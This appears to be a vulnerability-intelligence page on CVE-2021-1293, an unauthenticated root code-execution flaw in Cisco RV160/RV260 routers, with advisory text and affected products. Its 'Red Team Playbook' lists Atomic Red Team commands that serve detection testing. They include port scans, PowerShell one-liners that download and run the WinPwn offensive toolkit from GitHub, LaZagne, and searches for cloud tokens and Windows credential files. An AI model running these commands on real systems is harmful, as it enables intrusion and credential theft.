CVE-2021-1293
Overview
The vulnerability is a remote code execution flaw caused by improper validation of HTTP requests within the web-based management interface of Cisco Small Business RV Series VPN Routers. Specifically, the affected component fails to sanitize or authenticate incoming HTTP requests, allowing crafted input to be processed without restriction. This flaw resides in the router firmware handling of management interface HTTP requests, enabling unauthorized command execution at the root privilege level.
Vulnerability Description
Multiple vulnerabilities in the web-based management interface of Cisco Small Business RV160, RV160W, RV260, RV260P, and RV260W VPN Routers could allow an unauthenticated, remote attacker to execute arbitrary code as the root user on an affected device. These vulnerabilities exist because HTTP requests are not properly validated. An attacker could exploit these vulnerabilities by sending a crafted HTTP request to the web-based management interface of an affected device. A successful exploit could allow the attacker to remotely execute arbitrary code on the device.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary code with root privileges on affected devices, enabling full control over the router. No user interaction or prior authentication is required, and the attack can be performed over the network via the management interface. This can lead to device compromise, network disruption, and potential lateral movement within the affected environment. The CVSS vector (AV:N/AC:L/PR:N/UI:N) confirms the ease of remote exploitation without privileges or interaction.
Solution
Cisco has released firmware updates addressing this vulnerability for the affected RV160, RV160W, RV260, RV260P, and RV260W VPN Routers. Administrators should apply the latest firmware versions as detailed in Cisco Security Advisory cisco-sa-rv160-260-rce-XZeFkNHf. The advisory provides explicit instructions for verifying and updating the router firmware to remediate the issue. No alternative workarounds are documented.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the web-based management interface of specific Cisco Small Business VPN routers stems from inadequate validation of HTTP requests. This flaw allows an unauthenticated remote attacker to send specially crafted requests that can lead to arbitrary code execution with root privileges on the affected devices. The lack of proper input validation creates an opportunity for attackers to manipulate the router's functionality, potentially compromising the integrity and confidentiality of the network traffic that passes through these devices. The affected models include the RV160, RV160W, RV260, RV260P, and RV260W, which are commonly used in small to medium-sized business environments for secure remote access and VPN connectivity.
Exploitation of this vulnerability can occur through various attack vectors, primarily targeting the web-based management interface. An attacker could leverage this flaw by crafting malicious HTTP requests that exploit the improper validation mechanisms. Once the crafted request is sent to the management interface, the attacker could execute arbitrary code, effectively taking control of the device. This could lead to further network breaches, data exfiltration, or the deployment of malware within the organizational infrastructure. Given that many businesses rely on these routers for secure communications, the potential for widespread disruption and data compromise is significant.
The real-world impact of this vulnerability is profound, particularly for organizations that utilize these routers as part of their network infrastructure. Successful exploitation could result in unauthorized access to sensitive information, including customer data, financial records, and proprietary business information. The business risk associated with such an incident includes not only immediate financial losses but also long-term reputational damage, regulatory fines, and potential legal liabilities. The ability to execute arbitrary code on a network device can also serve as a foothold for further attacks, allowing adversaries to pivot to other systems within the network, thereby amplifying the overall risk.
To detect and mitigate the risks associated with this vulnerability, organizations should implement a multi-layered security approach. Regularly updating router firmware to the latest versions provided by Cisco is crucial, as these updates often include patches for known vulnerabilities. Additionally, organizations should employ network segmentation to limit the exposure of critical systems to potential attacks. Implementing intrusion detection systems (IDS) can help identify suspicious activity targeting the management interface, while strong access controls and authentication mechanisms can reduce the likelihood of unauthorized access. Furthermore, conducting regular security audits and vulnerability assessments can help organizations identify and remediate potential weaknesses in their network infrastructure.
In conclusion, the vulnerabilities in the web-based management interface of specific Cisco Small Business VPN routers present a significant threat to organizations that rely on these devices for secure communications. The potential for remote code execution by unauthenticated attackers underscores the importance of robust security practices, including timely updates, network segmentation, and continuous monitoring. By adopting a proactive security posture, organizations can mitigate the risks associated with these vulnerabilities and protect their critical assets from exploitation.
Affected Products (5)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Cisco | Rv160w Wireless-Ac Vpn Router Firmware | All |
cpe:2.3:o:cisco:rv160w_wireless-ac_vpn_router_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv260 Vpn Router Firmware | All |
cpe:2.3:o:cisco:rv260_vpn_router_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv260p Vpn Router With Poe Firmware | All |
cpe:2.3:o:cisco:rv260p_vpn_router_with_poe_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv260w Wireless-Ac Vpn Router Firmware | All |
cpe:2.3:o:cisco:rv260w_wireless-ac_vpn_router_firmware:*:*:*:*:*:*:*:*
|
|
|
Cisco | Rv160 Vpn Router Firmware | All |
cpe:2.3:o:cisco:rv160_vpn_router_firmware:*:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2021-1293 |
| tools.cisco.com |
GitHub CVE
vendor-advisory
x_refsource_CISCO
|
https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-rv160-260-rce-XZeFkNHf |